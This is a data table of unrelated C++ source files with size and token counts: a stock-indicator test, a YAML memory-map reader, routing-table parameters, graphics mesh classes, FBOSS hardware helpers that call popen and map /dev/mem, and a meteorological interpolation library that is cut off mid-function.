text string | size int64 | token_count int64 |
|---|---|---|
/*
* test_AMA.cpp
*
* Created on: 2013-4-10
* Author: fasiondog
*/
#include "doctest/doctest.h"
#include <fstream>
#include <hikyuu/StockManager.h>
#include <hikyuu/indicator/crt/UPNDAY.h>
#include <hikyuu/indicator/crt/CVAL.h>
#include <hikyuu/indicator/crt/KDATA.h>
using namespace hku;
/**
* @defgroup test_indicator_AMA test_indicator_UPNDAY
* @ingroup test_hikyuu_indicator_suite
* @{
*/
/** @par 检测点 */
TEST_CASE("test_UPNDAY_dyn") {
Stock stock = StockManager::instance().getStock("sh000001");
KData kdata = stock.getKData(KQuery(-30));
// KData kdata = stock.getKData(KQuery(0, Null<size_t>(), KQuery::MIN));
Indicator c = CLOSE(kdata);
Indicator expect = UPNDAY(c, 10);
Indicator result = UPNDAY(c, CVAL(c, 10));
// CHECK_EQ(expect.discard(), result.discard());
CHECK_EQ(expect.size(), result.size());
for (size_t i = 0; i < result.discard(); i++) {
CHECK_UNARY(std::isnan(result[i]));
}
for (size_t i = expect.discard(); i < expect.size(); i++) {
CHECK_EQ(expect[i], doctest::Approx(result[i]));
}
result = UPNDAY(c, IndParam(CVAL(c, 10)));
// CHECK_EQ(expect.discard(), result.discard());
CHECK_EQ(expect.size(), result.size());
for (size_t i = 0; i < result.discard(); i++) {
CHECK_UNARY(std::isnan(result[i]));
}
for (size_t i = expect.discard(); i < expect.size(); i++) {
CHECK_EQ(expect[i], doctest::Approx(result[i]));
}
}
/** @} */
| 1,478 | 626 |
#include "report/report.hpp"
#include "report/summary.hpp"
#include "common/common.hpp"
#include "yaml-cpp/yaml.h"
#include <string>
using namespace std;
using namespace sc_core;
namespace {
const char * const MSGID{ "/Doulos/Example/yaml" };
}
string nodeType( const YAML::Node& node )
{
string result;
switch (node.Type()) {
case YAML::NodeType::Null: result = "YAML::NodeType::Null"; break;
case YAML::NodeType::Scalar: result = "YAML::NodeType::Scalar"; break;
case YAML::NodeType::Sequence: result = "YAML::NodeType::Sequence"; break;
case YAML::NodeType::Map: result = "YAML::NodeType::Map"; break;
case YAML::NodeType::Undefined: result = "YAML::NodeType::Undefined"; break;
}
return result;
}
#define SHOW(w,n,t) do {\
if( n ) {\
MESSAGE( "\n " << w << " = " << n.as<t>() );\
}\
}while(0)
#define SHOW2(w,t) do {\
if( pt.second[w] ) {\
MESSAGE( " " << w << "=" << pt.second[w].as<t>() );\
}\
}while(0)
int sc_main( int argc, char* argv[] )
{
sc_report_handler::set_actions( SC_ERROR, SC_DISPLAY | SC_LOG );
sc_report_handler::set_actions( SC_FATAL, SC_DISPLAY | SC_LOG );
// Defaults
string busname{ "top.nth" };
string filename{ "memory_map.yaml" };
// Scan command-line
for( int i=1; i<sc_argc(); ++i ) {
string arg( sc_argv()[i] );
if( arg.find(".yaml") == arg.size() - 5 ) {
filename = arg;
} else if( arg.find("-") != 0 ) {
busname = arg;
}
}
INFO( ALWAYS, "Searching for busname=" << busname );
YAML::Node root;
try {
root = YAML::LoadFile( filename );
} catch (const YAML::Exception& e) {
REPORT( FATAL, e.what() );
}
for( const auto& p : root ) {
if( p.first.as<string>() != busname ) continue;
MESSAGE( p.first.as<string>());
SHOW( "addr", p.second["addr"], string );
SHOW( "size", p.second["size"], Depth_t );
for( const auto& pt : p.second["targ"] ) {
MESSAGE( pt.first.as<string>() << " => " );
if( pt.second["addr"] )
MESSAGE( " " << "addr" << "=" << pt.second["addr"].as<Addr_t>() );
if( pt.second["size"] )
MESSAGE( " " << "size" << "=" << pt.second["size"].as<string>() );
if( pt.second["kind"] )
MESSAGE( " " << "kind" << "=" << pt.second["kind"].as<string>() );
if( pt.second["irq"] )
MESSAGE( " " << "irq" << "=" << pt.second["irq"].as<int>() );
MESSAGE( "\n" );
}
MEND( MEDIUM );
}
return Summary::report();
}
| 2,501 | 970 |
/*
Copyright (c) 2016, Project OSRM contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef ENGINE_API_TABLE_PARAMETERS_HPP
#define ENGINE_API_TABLE_PARAMETERS_HPP
#include "engine/api/base_parameters.hpp"
#include <cstddef>
#include <algorithm>
#include <iterator>
#include <vector>
namespace osrm
{
namespace engine
{
namespace api
{
/**
* Parameters specific to the OSRM Table service.
*
* Holds member attributes:
* - sources: indices into coordinates indicating sources for the Table service, no sources means
* use all coordinates as sources
* - destinations: indices into coordinates indicating destinations for the Table service, no
* destinations means use all coordinates as destinations
*
* \see OSRM, Coordinate, Hint, Bearing, RouteParame, RouteParameters, TableParameters,
* NearestParameters, TripParameters, MatchParameters and TileParameters
*/
struct TableParameters : public BaseParameters
{
std::vector<std::size_t> sources;
std::vector<std::size_t> destinations;
TableParameters() = default;
template <typename... Args>
TableParameters(std::vector<std::size_t> sources_,
std::vector<std::size_t> destinations_,
Args... args_)
: BaseParameters{std::forward<Args>(args_)...}, sources{std::move(sources_)},
destinations{std::move(destinations_)}
{
}
bool IsValid() const
{
if (!BaseParameters::IsValid())
return false;
// Distance Table makes only sense with 2+ coodinates
if (coordinates.size() < 2)
return false;
// 1/ The user is able to specify duplicates in srcs and dsts, in that case it's her fault
// 2/ len(srcs) and len(dsts) smaller or equal to len(locations)
if (sources.size() > coordinates.size())
return false;
if (destinations.size() > coordinates.size())
return false;
// 3/ 0 <= index < len(locations)
const auto not_in_range = [this](const std::size_t x) { return x >= coordinates.size(); };
if (std::any_of(begin(sources), end(sources), not_in_range))
return false;
if (std::any_of(begin(destinations), end(destinations), not_in_range))
return false;
return true;
}
};
}
}
}
#endif // ENGINE_API_TABLE_PARAMETERS_HPP
| 3,606 | 1,146 |
#include "quad_3D.h"
quad_3D::quad_3D(glm::vec3 const & p1, glm::vec3 const & p2,
glm::vec3 const & p3, glm::vec3 const & p4)
: verts { p1, p2, p3, p4 }
{
}
auto quad_3D::create(resource_handler & rh) -> void
{
vertex_buffer.create();
vertex_buffer.fill(verts.size() * sizeof(glm::vec3), verts.data(), GL_STATIC_DRAW, GL_ARRAY_BUFFER);
layout.create();
layout.bind();
layout.attach(vertex_buffer, attribute{ GL_FLOAT, 3, GL_FALSE, 3 * sizeof(float), nullptr, false });
}
auto quad_3D::destroy(void) -> void
{
} | 523 | 234 |
#include "SubMesh.hpp"
namespace Ilum
{
SubMesh::SubMesh(std::vector<Vertex> &&vertices, std::vector<uint32_t> &&indices, uint32_t index_offset, scope<material::DisneyPBR> &&material) :
vertices(std::move(vertices)),
indices(std::move(indices)),
index_offset(index_offset),
material(*material)
{
for (auto& vertex : this->vertices)
{
bounding_box.merge(vertex.position);
}
}
SubMesh::SubMesh(SubMesh &&other) noexcept :
vertices(std::move(other.vertices)),
indices(std::move(other.indices)),
index_offset(other.index_offset),
bounding_box(other.bounding_box),
material(std::move(other.material))
{
other.vertices.clear();
other.indices.clear();
other.index_offset = 0;
}
SubMesh &SubMesh::operator=(SubMesh &&other) noexcept
{
vertices = std::move(other.vertices);
indices = std::move(other.indices);
index_offset = other.index_offset;
bounding_box = other.bounding_box;
material = std::move(other.material);
other.vertices.clear();
other.indices.clear();
other.index_offset = 0;
return *this;
}
} // namespace Ilum | 1,115 | 405 |
#include <iostream>
#include <cmath>
#define N 100000
typedef long long value_type;
int n, m, chunkLen;
value_type values[N], chunk[400];
auto rangeAdd(int begin, int end, value_type value) -> void {
for (int i = 0; i < n; ++ i) {
values[i] += value;
}
for (int i = begin / chunkLen + 0.5; i < end / chunkLen + 0.5; ++ i) {
}
}
auto main(int, char **) -> int {
std::cin >> n >> m;
chunkLen = sqrt(n) + 0.5;
for (int i = 0; i < m; ++ i) {
}
} | 461 | 216 |
// Copyright 2004-present Facebook. All Rights Reserved.
#include "fboss/platform/helpers/utils.h"
#include <fcntl.h>
#include <glog/logging.h>
#include <sys/mman.h>
#include <iostream>
namespace facebook::fboss::platform::helpers {
/*
* execCommand
* Execute shell command and return output and exit status
*/
std::string execCommand(const std::string& cmd, int& out_exitStatus) {
out_exitStatus = 0;
auto pPipe = ::popen(cmd.c_str(), "r");
if (pPipe == nullptr) {
throw std::runtime_error("Cannot open pipe");
}
std::array<char, 256> buffer;
std::string result;
while (not std::feof(pPipe)) {
auto bytes = std::fread(buffer.data(), 1, buffer.size(), pPipe);
result.append(buffer.data(), bytes);
}
auto rc = ::pclose(pPipe);
if (WIFEXITED(rc)) {
out_exitStatus = WEXITSTATUS(rc);
}
return result;
}
/*
* mmap function to read memory mapped address
*/
uint32_t mmap_read(uint32_t address, char acc_type) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result;
if ((fd = open("/dev/mem", O_RDWR | O_SYNC)) == -1) {
throw std::runtime_error("Cannot open /dev/mem");
}
map_base = mmap(
nullptr,
MAP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd,
address & ~MAP_MASK);
if (map_base == (void*)-1) {
close(fd);
throw std::runtime_error("mmap failed");
}
// To avoid "error: arithmetic on a pointer to void"
virt_addr = (void*)((char*)map_base + (address & MAP_MASK));
switch (acc_type) {
case 'b':
read_result = *((unsigned char*)virt_addr);
break;
case 'h':
read_result = *((uint16_t*)virt_addr);
break;
case 'w':
read_result = *((uint32_t*)virt_addr);
break;
}
std::cout << "Value at address 0x" << std::hex << address << " (0x"
<< virt_addr << "): 0x" << read_result << std::endl;
if (munmap(map_base, MAP_SIZE) == -1) {
close(fd);
throw std::runtime_error("mmap failed");
}
close(fd);
return read_result;
}
/*
* mmap function to read memory mapped address
*/
int mmap_write(uint32_t address, char acc_type, uint32_t val) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result;
if ((fd = open("/dev/mem", O_RDWR | O_SYNC)) == -1) {
throw std::runtime_error("Cannot open /dev/mem");
}
map_base = mmap(
nullptr,
MAP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd,
address & ~MAP_MASK);
if (map_base == (void*)-1) {
close(fd);
throw std::runtime_error("mmap failed");
}
// To avoid "error: arithmetic on a pointer to void"
virt_addr = (void*)((char*)map_base + (address & MAP_MASK));
read_result = *((uint32_t*)virt_addr);
std::cout << "Value at address 0x" << std::hex << address << " (0x"
<< virt_addr << "): 0x" << read_result << std::endl;
switch (acc_type) {
case 'b':
*((unsigned char*)virt_addr) = val;
read_result = *((unsigned char*)virt_addr);
break;
case 'h':
*((uint16_t*)virt_addr) = val;
read_result = *((uint16_t*)virt_addr);
break;
case 'w':
*((uint32_t*)virt_addr) = val;
read_result = *((uint32_t*)virt_addr);
break;
}
std::cout << "Written 0x" << std::hex << val << "; readback 0x" << read_result
<< std::endl;
if (munmap(map_base, MAP_SIZE) == -1) {
close(fd);
throw std::runtime_error("mmap failed");
}
close(fd);
return 0;
}
} // namespace facebook::fboss::platform::helpers
| 3,510 | 1,359 |
/// After
/// A very fast and crude implementation for a memory compressed
/// boolean array. Please note that std::vector already has this
/// impl, but I needed a stack alloc array
#include <type_traits>
#include <iterator>
#include <vector>
namespace ari { // extends https://github.com/aryan-gupta/libari
//// THIS IS INVALID CODE AND WILL NOT COMPILE
// std::vector<bool> test;
// test.push_back(true);
// bool& ref = test[0];
template <typename T>
class bool_array_proxy {
public:
using base_type = T;
using value_type = bool;
using reference = base_type&;
// index is the number of 8 * sizeof(base_type). Lets us use the base_type as a array of bits
using index_type = unsigned short;
using mask_type = base_type; // lets us mask out the value
private:
using self = bool_array_proxy<T>; // stolen from python (hence private)
reference mRef;
mask_type mMask;
public:
bool_array_proxy() = delete; // cant be default init
constexpr bool_array_proxy(reference ref, index_type idx) : mRef{ ref }, mMask{ 1 } {
mMask <<= idx;
}
operator bool() const {
return mRef | mMask; // if our mask returns the value at the index and casts true if >0
}
self operator= (bool) {
}
};
template <typename T, std::size_t N, typename = std::enable_if_t<std::is_same_v<T, bool>>> // lock for bool, need to change later
class
[[deprecated("ari::array<bool> development was discontinued upon discvery of std::bitset")]]
array {
public:
using value_type = T;
using array_base_type = std::byte;
using size_type = std::size_t;
using difference_type = std::ptrdiff_t;
using reference = bool_array_proxy<array_base_type>;
using const_reference = bool;
/// @warning No iterator support yet
private:
constexpr static size_type mSize = N / (sizeof(array_base_type) * 8);
array_base_type mData[mSize];
public:
// Ill let the compiler do the aggrigate inits and ctors/dtors
reference at(size_type idx) {
return { *mData, 0 };
}
};
}
| 1,961 | 678 |
// ======================================================================
/*!
* \brief Implementation of namespace NFmiInterpolation
*/
// ======================================================================
/*!
* \namespace NFmiInterpolation
*
* \brief Interpolation tools
*
* Namespace NFmiInterpolation contains various utility functions to
* perform interpolation. The main difficulty in handling interpolation
* in newbase is how to handle missing values. The functions provided
* by NFmiInterpolation handle missing values automatically.
*
*/
// ======================================================================
#include "NFmiInterpolation.h"
#include "NFmiModMeanCalculator.h"
#include "NFmiPoint.h"
#include <macgyver/Exception.h>
#include <set>
namespace NFmiInterpolation
{
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension
*
* \param theX The X-coordinate
* \param theX1 The X-coordinate of the left value
* \param theX2 The X-coordinate of the right value
* \param theY1 The value at X1
* \param theY2 The value at Y2
* \return The interpolated value (or kFloatMissing)
*/
// ----------------------------------------------------------------------
double Linear(double theX, double theX1, double theX2, double theY1, double theY2)
{
try
{
// Handle special case where X1==X2
if (theX1 == theX2)
{
if (theX != theX1)
return kFloatMissing;
if (theY1 == kFloatMissing || theY2 == kFloatMissing)
return kFloatMissing;
if (theY1 != theY2)
return kFloatMissing;
return theY1;
}
double factor = (theX - theX1) / (theX2 - theX1);
return Linear(factor, theY1, theY2);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear windvector interpolation in 1 dimension where value is constructed
* from wind dir (WD) and speed (WS). windVwctor = int(WS)*100 + int(WD/10).
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double WindVector(double theFactor, double theLeftWV, double theRightWV)
{
try
{
if (theLeftWV == kFloatMissing)
return (theFactor == 1 ? theRightWV : kFloatMissing);
if (theRightWV == kFloatMissing)
return (theFactor == 0 ? theLeftWV : kFloatMissing);
double leftWD = (static_cast<int>(theLeftWV) % 100) * 10.;
auto leftWS = static_cast<double>(static_cast<int>(theLeftWV) / 100);
double rightWD = (static_cast<int>(theRightWV) % 100) * 10.;
auto rightWS = static_cast<double>(static_cast<int>(theRightWV) / 100);
NFmiInterpolation::WindInterpolator windInterpolator;
windInterpolator.operator()(leftWS, leftWD, 1 - theFactor);
windInterpolator.operator()(rightWS, rightWD, theFactor);
double wdInterp = windInterpolator.Direction();
double wsInterp = windInterpolator.Speed();
if (wdInterp != kFloatMissing && wsInterp != kFloatMissing)
return round(wsInterp) * 100 + round(wdInterp / 10.);
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
double WindVector(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double blWD = (static_cast<int>(theBottomLeft) % 100) * 10.;
auto blWS = static_cast<double>(static_cast<int>(theBottomLeft) / 100);
double brWD = (static_cast<int>(theBottomRight) % 100) * 10.;
auto brWS = static_cast<double>(static_cast<int>(theBottomRight) / 100);
double tlWD = (static_cast<int>(theTopLeft) % 100) * 10.;
auto tlWS = static_cast<double>(static_cast<int>(theTopLeft) / 100);
double trWD = (static_cast<int>(theTopRight) % 100) * 10.;
auto trWS = static_cast<double>(static_cast<int>(theTopRight) / 100);
NFmiInterpolation::WindInterpolator windInterpolator;
windInterpolator.operator()(blWS, blWD, (1 - dx) * (1 - dy));
windInterpolator.operator()(brWS, brWD, dx *(1 - dy));
windInterpolator.operator()(trWS, trWD, dx *dy);
windInterpolator.operator()(tlWS, tlWD, (1 - dx) * dy);
double wdInterp = windInterpolator.Direction();
double wsInterp = windInterpolator.Speed();
if (wdInterp != kFloatMissing && wsInterp != kFloatMissing)
return round(wsInterp) * 100 + round(wdInterp / 10.);
else
return kFloatMissing;
}
// Grid cell edges
if (dy == 0)
return WindVector(dx, theBottomLeft, theBottomRight);
if (dy == 1)
return WindVector(dx, theTopLeft, theTopRight);
if (dx == 0)
return WindVector(dy, theBottomLeft, theTopLeft);
if (dx == 1)
return WindVector(dy, theBottomRight, theTopRight);
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double Linear(double theFactor, double theLeft, double theRight)
{
try
{
if (theLeft == kFloatMissing)
return (theFactor == 1 ? theRight : kFloatMissing);
if (theRight == kFloatMissing)
return (theFactor == 0 ? theLeft : kFloatMissing);
return (1 - theFactor) * theLeft + theFactor * theRight;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension with modulo
*
* \param theX The X-coordinate
* \param theX1 The X-coordinate of the left value
* \param theX2 The X-coordinate of the right value
* \param theY1 The value at X1
* \param theY2 The value at Y2
* \param theModulo The modulo
* \return The interpolated value (or kFloatMissing)
*/
// ----------------------------------------------------------------------
double ModLinear(
double theX, double theX1, double theX2, double theY1, double theY2, unsigned int theModulo)
{
try
{
// Handle special case where X1==X2
if (theX1 == theX2)
{
if (theX != theX1)
return kFloatMissing;
if (theY1 == kFloatMissing || theY2 == kFloatMissing)
return kFloatMissing;
if (theY1 != theY2)
return kFloatMissing;
return theY1;
}
double factor = (theX - theX1) / (theX2 - theX1);
return ModLinear(factor, theY1, theY2, theModulo);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Linear interpolation in 1 dimension with modulo
*
* \param theFactor Relative coordinate offset from the left value
* \param theLeft The left value
* \param theRight The right value
* \param theModulo The modulo
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double ModLinear(double theFactor, double theLeft, double theRight, unsigned int theModulo)
{
try
{
if (theLeft == kFloatMissing)
return (theFactor == 1 ? theRight : kFloatMissing);
if (theRight == kFloatMissing)
return (theFactor == 0 ? theLeft : kFloatMissing);
NFmiModMeanCalculator calculator(static_cast<float>(theModulo));
calculator(static_cast<float>(theLeft), static_cast<float>(1 - theFactor));
calculator(static_cast<float>(theRight), static_cast<float>(theFactor));
return calculator();
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation in 2 dimensions
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double BiLinear(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
(1 - dx) * dy * theTopLeft + dx * dy * theTopRight);
}
// Grid cell edges
if (dy == 0)
return Linear(dx, theBottomLeft, theBottomRight);
if (dy == 1)
return Linear(dx, theTopLeft, theTopRight);
if (dx == 0)
return Linear(dy, theBottomLeft, theTopLeft);
if (dx == 1)
return Linear(dy, theBottomRight, theTopRight);
// If only one corner is missing, interpolate within
// the triangle formed by the three points, AND now
// also outside it on the other triangle (little extrapolation).
if (theTopLeft == kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = (dx * dy + (1 - dx) * (1 - dy) + dx * (1 - dy));
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
dx * dy * theTopRight) /
wsum;
}
else if (theTopLeft != kFloatMissing && theTopRight == kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = ((1 - dx) * dy + (1 - dx) * (1 - dy) + dx * (1 - dy));
return ((1 - dx) * (1 - dy) * theBottomLeft + dx * (1 - dy) * theBottomRight +
(1 - dx) * dy * theTopLeft) /
wsum;
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft == kFloatMissing && theBottomRight != kFloatMissing)
{
double wsum = ((1 - dx) * dy + dx * dy + dx * (1 - dy));
return (dx * (1 - dy) * theBottomRight + (1 - dx) * dy * theTopLeft + dx * dy * theTopRight) /
wsum;
;
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight == kFloatMissing)
{
double wsum = ((1 - dx) * (1 - dy) + (1 - dx) * dy + dx * dy);
return ((1 - dx) * (1 - dy) * theBottomLeft + (1 - dx) * dy * theTopLeft +
dx * dy * theTopRight) /
wsum;
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
class PointData
{
public:
PointData() : value_(kFloatMissing), distance_(kFloatMissing) {}
PointData(FmiDirection corner, double value, double distance)
: corner_(corner), value_(value), distance_(distance)
{
}
FmiDirection corner_{kNoDirection}; // Minkä kulman pisteestä on kyse (lähinnä debuggaus infoa)
double value_; // Määrätyn kulman arvo
double distance_; // Etäisyys referenssi pisteeseen
};
bool operator<(const PointData &p1, const PointData &p2)
{
return p1.distance_ < p2.distance_;
}
PointData CalcPointData(const NFmiPoint &referencePoint,
const NFmiPoint &cornerPoint,
FmiDirection corner,
double value)
{
try
{
double distX = referencePoint.X() - cornerPoint.X();
double distY = referencePoint.Y() - cornerPoint.Y();
double distance = ::sqrt(distX * distX + distY * distY);
return PointData(corner, value, distance);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Seeking the nearest non-missing value.
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The nearest non-missing value
*/
// ----------------------------------------------------------------------
double NearestNonMissing(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
NFmiPoint referencePoint(theX, theY);
std::multiset<PointData> sortedPointValues;
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(0, 0), kBottomLeft, theBottomLeft));
sortedPointValues.insert(CalcPointData(referencePoint, NFmiPoint(0, 1), kTopLeft, theTopLeft));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 1), kTopRight, theTopRight));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 0), kBottomRight, theBottomRight));
for (const auto &pointData : sortedPointValues)
{
if (pointData.value_ != kFloatMissing)
return pointData.value_;
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Seeking the nearest value
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The nearest value
*/
// ----------------------------------------------------------------------
double NearestPoint(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight)
{
try
{
NFmiPoint referencePoint(theX, theY);
std::multiset<PointData> sortedPointValues;
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(0, 0), kBottomLeft, theBottomLeft));
sortedPointValues.insert(CalcPointData(referencePoint, NFmiPoint(0, 1), kTopLeft, theTopLeft));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 1), kTopRight, theTopRight));
sortedPointValues.insert(
CalcPointData(referencePoint, NFmiPoint(1, 0), kBottomRight, theBottomRight));
return sortedPointValues.begin()->value_;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation of coordinates in 2 dimensions
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \return The interpolated value
*/
// ----------------------------------------------------------------------
NFmiPoint BiLinear(double theX,
double theY,
const NFmiPoint &theTopLeft,
const NFmiPoint &theTopRight,
const NFmiPoint &theBottomLeft,
const NFmiPoint &theBottomRight)
{
try
{
const auto dx = theX;
const auto dy = theY;
const auto xd = 1 - dx;
const auto yd = 1 - dy;
const auto bottomleft = xd * yd;
const auto bottomright = dx * yd;
const auto topleft = xd * dy;
const auto topright = dx * dy;
const auto x = bottomleft * theBottomLeft.X() + bottomright * theBottomRight.X() +
topleft * theTopLeft.X() + topright * theTopRight.X();
const auto y = bottomleft * theBottomLeft.Y() + bottomright * theBottomRight.Y() +
topleft * theTopLeft.Y() + topright * theTopRight.Y();
return NFmiPoint(x, y);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Bilinear interpolation in 2 dimensions with modulo
*
* We assume all interpolation occurs in a rectilinear grid
* and the given coordinates are relative within the grid cell.
* The values must thus be in the range 0-1.
*
* \param theX The relative offset from the bottomleft X-coordinate
* \param theY The relative offset from the bottomleft Y-coordinate
* \param theTopLeft The top left value
* \param theTopRight The top right value
* \param theBottomLeft The bottom left value
* \param theBottomRight The bottom right value
* \param theModulo The modulo
* \return The interpolated value
*/
// ----------------------------------------------------------------------
double ModBiLinear(double theX,
double theY,
double theTopLeft,
double theTopRight,
double theBottomLeft,
double theBottomRight,
unsigned int theModulo)
{
try
{
NFmiModMeanCalculator calculator(static_cast<float>(theModulo));
double dx = theX;
double dy = theY;
if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
return calculator();
}
// Grid cell edges
if (dy == 0)
return ModLinear(dx, theBottomLeft, theBottomRight, theModulo);
if (dy == 1)
return ModLinear(dx, theTopLeft, theTopRight, theModulo);
if (dx == 0)
return ModLinear(dy, theBottomLeft, theTopLeft, theModulo);
if (dx == 1)
return ModLinear(dy, theBottomRight, theTopRight, theModulo);
// If only one corner is missing, interpolate within
// the triangle formed by the three points, but not
// outside it.
if (theTopLeft == kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
if (dx < dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight == kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight != kFloatMissing)
{
if (1 - dx < dy)
return kFloatMissing;
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
